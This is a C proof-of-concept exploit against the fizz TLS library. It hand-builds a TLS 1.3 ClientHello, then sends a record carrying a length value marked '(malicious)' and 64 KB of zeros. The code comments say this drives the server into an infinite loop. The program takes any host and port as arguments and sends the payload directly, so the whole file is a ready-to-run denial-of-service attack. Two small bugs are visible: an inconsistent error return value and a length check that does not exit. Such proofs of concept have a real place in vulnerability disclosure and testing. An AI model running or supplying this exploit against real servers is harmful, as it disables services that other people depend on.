#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <assert.h>

// Open a socket to the provided server:port combination. Returns the
// socket number of success, -1 on failure.
int connectToUrl(const char* server, const char* port) {
  struct addrinfo hints;
  memset(&hints, 0, sizeof(struct addrinfo));
  hints.ai_family = AF_UNSPEC;
  hints.ai_socktype = SOCK_STREAM;
  hints.ai_flags = 0;
  hints.ai_protocol = 0;

  struct addrinfo *result;
  const int err = getaddrinfo(server, port, &hints, &result);
  if (err != 0) {
    fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(err));
    return 1;
  }

  struct addrinfo *rp;
  for (rp = result; rp != NULL; rp = rp->ai_next) {
    const int s = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
    if (s < 0) {
      continue;
    }

    if (connect(s, rp->ai_addr, rp->ai_addrlen) != -1) {
      freeaddrinfo(result);
      return s;
    }

    close(s);
  }

  freeaddrinfo(result);
  return -1;
}

// Write a uint8_t to starting address &buf[offset]. Return the updated
// offset.
size_t writeUint8(char* buf, size_t offset, uint8_t x) {
  buf[offset++] = x;
  return offset;
}

// Write a uint16_t to starting address &buf[offset] (in big endian
// order). Return the updated offset.
size_t writeUint16(char* buf, size_t offset, uint16_t x) {
  buf[offset++] = (x >> 8) & 0xFF;
  buf[offset++] = x & 0xFF;
  return offset;
}

// Write a uint24_t to starting address &buf[offset] (in big endian
// order). Return the updated offset.
size_t writeUint24(char* buf, size_t offset, uint32_t x) {
  buf[offset++] = (x >> 16) & 0xFF;
  buf[offset++] = (x >> 8) & 0xFF;
  buf[offset++] = x & 0xFF;
  return offset;
}

// Write a block of bytes to starting address &buf[offset]. Return the
// updated offset.
size_t writeMany(char* buf, size_t offset, uint8_t x, size_t n) {
  memset(&buf[offset], x, n);
  return offset + n;
}

// Write a string to starting address &buf[offset]. Return the
// updated offset.
size_t writeString(char* buf, size_t offset, const char* str, size_t n) {
  memcpy(&buf[offset], str, n);
  return offset + n;
}

// Write the complete payload to the buffer. Return the length.
size_t writePayload(char* buf, const char* server, size_t serverlen) {
  size_t n = 0; // Used to keep track of current offset in the buffer.

  n = writeUint8(buf, n, 0x16); // ContentType::handshake
  n = writeUint16(buf, n, 0x0301); // fizz::ProtocolVersion::tls_1_0

  {
    const size_t start = n;  // Length will be written here at end of block.
    n += 2;

    // ReadRecordLayer::decodeHandshakeMessage
    n = writeUint8(buf, n, 0x01); // handshakeType = fizz::HandshakeType::client_hello

    {
      const size_t start = n;  // Length will be written here at end of block.
      n += 3;

      // ClientHello decode()   fizz/record/Types-inl.h:527
      n = writeUint16(buf, n, 0x0303); // chlo.legacy_version = fizz::ProtocolVersion::tls_1_2
      n = writeMany(buf, n, 0xcd, 32); // chlo.random

      n = writeUint8(buf, n, 0); // Length of chlo.legacy_session_id array

      n = writeUint16(buf, n, 6); // Length of chlo.cipher_suites
      n = writeUint16(buf, n, 0x1301);
      n = writeUint16(buf, n, 0x1302);
      n = writeUint16(buf, n, 0x1303);

      n = writeUint8(buf, n, 1); // Length of chlo.legacy_compression_methods
      n = writeUint8(buf, n, 0);

      // chlo.extensions
      {
        const size_t start = n;  // Length will be written here at end of block.
        n += 2;

        // SupportedVersions
        n = writeUint16(buf, n, 0x2b); // fizz::ExtensionType::supported_versions
        {
          const size_t start = n;  // Length will be written here at end of block.
          n += 2;

          {
            const size_t start = n;  // Length will be written here at end of block.
            n += 1;

            n = writeUint16(buf, n, 0x0304); // fizz::ProtocolVersion::tls_1_3
            n = writeUint16(buf, n, 0x7f1c); // fizz::ProtocolVersion::tls_1_3_28

            writeUint8(buf, start, n-start-1); // Length
          }

          writeUint16(buf, start, n-start-2); // Length
        }

        // SupportedGroups
        n = writeUint16(buf, n, 0x0a); // fizz::ExtensionType::supported_groups
        {
          const size_t start = n;  // Length will be written here at end of block.
          n += 2;

          {
            const size_t start = n;  // Length will be written here at end of block.
            n += 2;

            n = writeUint16(buf, n, 0x1d); // fizz::NamedGroup::x25519
            n = writeUint16(buf, n, 0x17); // fizz::NamedGroup::secp256r1

            writeUint16(buf, start, n-start-2); // Length
          }

          writeUint16(buf, start, n-start-2); // Length
        }

        // ClientKeyShare
        n = writeUint16(buf, n, 0x33); // fizz::ExtensionType::key_share
        {
          const size_t start = n;  // Length will be written here at end of block.
          n += 2;

          {
            const size_t start = n;  // Length will be written here at end of block.
            n += 2;

            n = writeUint16(buf, n, 0x19); // fizz::NamedGroup::secp521r1

            {
              const size_t start = n;  // Length will be written here at end of block.
              n += 2;

              n = writeMany(buf, n, 0xcd, 0x85); // Any size will work here.

              writeUint16(buf, start, n-start-2); // Length
            }

            writeUint16(buf, start, n-start-2); // Length
          }

          writeUint16(buf, start, n-start-2); // Length
        }

        // SignatureAlgorithms
        n = writeUint16(buf, n, 0x0d); // fizz::ExtensionType::signature_algorithms
        {
          const size_t start = n;  // Length will be written here at end of block.
          n += 2;

          {
            const size_t start = n;  // Length will be written here at end of block.
            n += 2;

            n = writeUint16(buf, n, 0x0403); // fizz::SignatureScheme::ecdsa_secp256r1_sha256
            n = writeUint16(buf, n, 0x0804); // fizz::SignatureScheme::rsa_pss_sha256

            writeUint16(buf, start, n-start-2); // Length
          }

          writeUint16(buf, start, n-start-2); // Length
        }

        // ServerName
        n = writeUint16(buf, n, 0); // fizz::ExtensionType::server_name
        {
          const size_t start = n;  // Length will be written here at end of block.
          n += 2;

          {
            const size_t start = n;  // Length will be written here at end of block.
            n += 2;

            n = writeUint8(buf, n, 0); // fizz::ServerNameType::host_name
            {
              const size_t start = n;  // Length will be written here at end of block.
              n += 2;

              n = writeString(buf, n, server, serverlen);

              writeUint16(buf, start, n-start-2); // Length
            }

            writeUint16(buf, start, n-start-2); // Length
          }

          writeUint16(buf, start, n-start-2); // Length
        }

        // PskKeyExchangeModes
        n = writeUint16(buf, n, 0x2d); // fizz::ExtensionType::psk_key_exchange_modes
        {
          const size_t start = n;  // Length will be written here at end of block.
          n += 2;

          {
            const size_t start = n;  // Length will be written here at end of block.
            n += 1;

            n = writeUint8(buf, n, 1); // psk_dhe_ke
            n = writeUint8(buf, n, 0); // psk_ke

            writeUint8(buf, start, n-start-1); // Length
          }

          writeUint16(buf, start, n-start-2); // Length
        }

        // ClientEarlyData
        n = writeUint16(buf, n, 0x2a); // fizz::ExtensionType::early_data
        n = writeUint16(buf, n, 0); // Length of ClientEarlyData

        writeUint16(buf, start, n-start-2); // Length
      }

      writeUint24(buf, start, n-start-3);  // Length
    }

    writeUint16(buf, start, n-start-2); // Length
  }

  n = writeUint8(buf, n, 0x17); // ContentType::handshake
  n = writeUint16(buf, n, 0x0303); // fizz::ProtocolVersion::tls_1_3
  n = writeUint16(buf, n, 0xfffb); // length (malicious)

  // The infinite loop doesn't start until will we deliver 16KB of data.
  // The contents don't matter though, so we send zeros.
  n = writeMany(buf, n, 0x00, 0x10000);

  return n;
}

int main(int argc, char *argv[])
{
  // Check the command line arguments.
  if (argc != 3) {
    fprintf(stderr, "Usage: %s host port\n", argc > 0 ? argv[0] : "poc");
    exit(1);
  }

  const char* server = argv[1];
  const char* port = argv[2];
  size_t serverlen = strlen(argv[1]);
  if (serverlen > 0x1000) {
    fprintf(
      stderr,
      "Server name has 0x%lx characters. Maximum allowed: 0x1000.\n",
      serverlen
    );
  }

  // Create the payload.
  char buf[0x20000];
  const size_t n = writePayload(buf, server, serverlen);
  assert(n <= sizeof(buf));

  // Connect to the server.
  const int s = connectToUrl(server, port);
  if (s < 0) {
    fprintf(stderr, "Could not connect\n");
    return 1;
  }

  // Send the payload.
  const ssize_t nw = write(s, buf, n);

  // Check for errors.
  if (nw != n) {
    if (nw < 0) {
      const int err = errno;
      fprintf(stderr, "Send failed: %s\n", strerror(err));
      return 1;
    } else {
      fprintf(
        stderr,
        "Failed to send complete payload: sent %ld out of %ld.\n",
        nw,
        n
      );
      return 1;
    }
  }

  return 0;
}
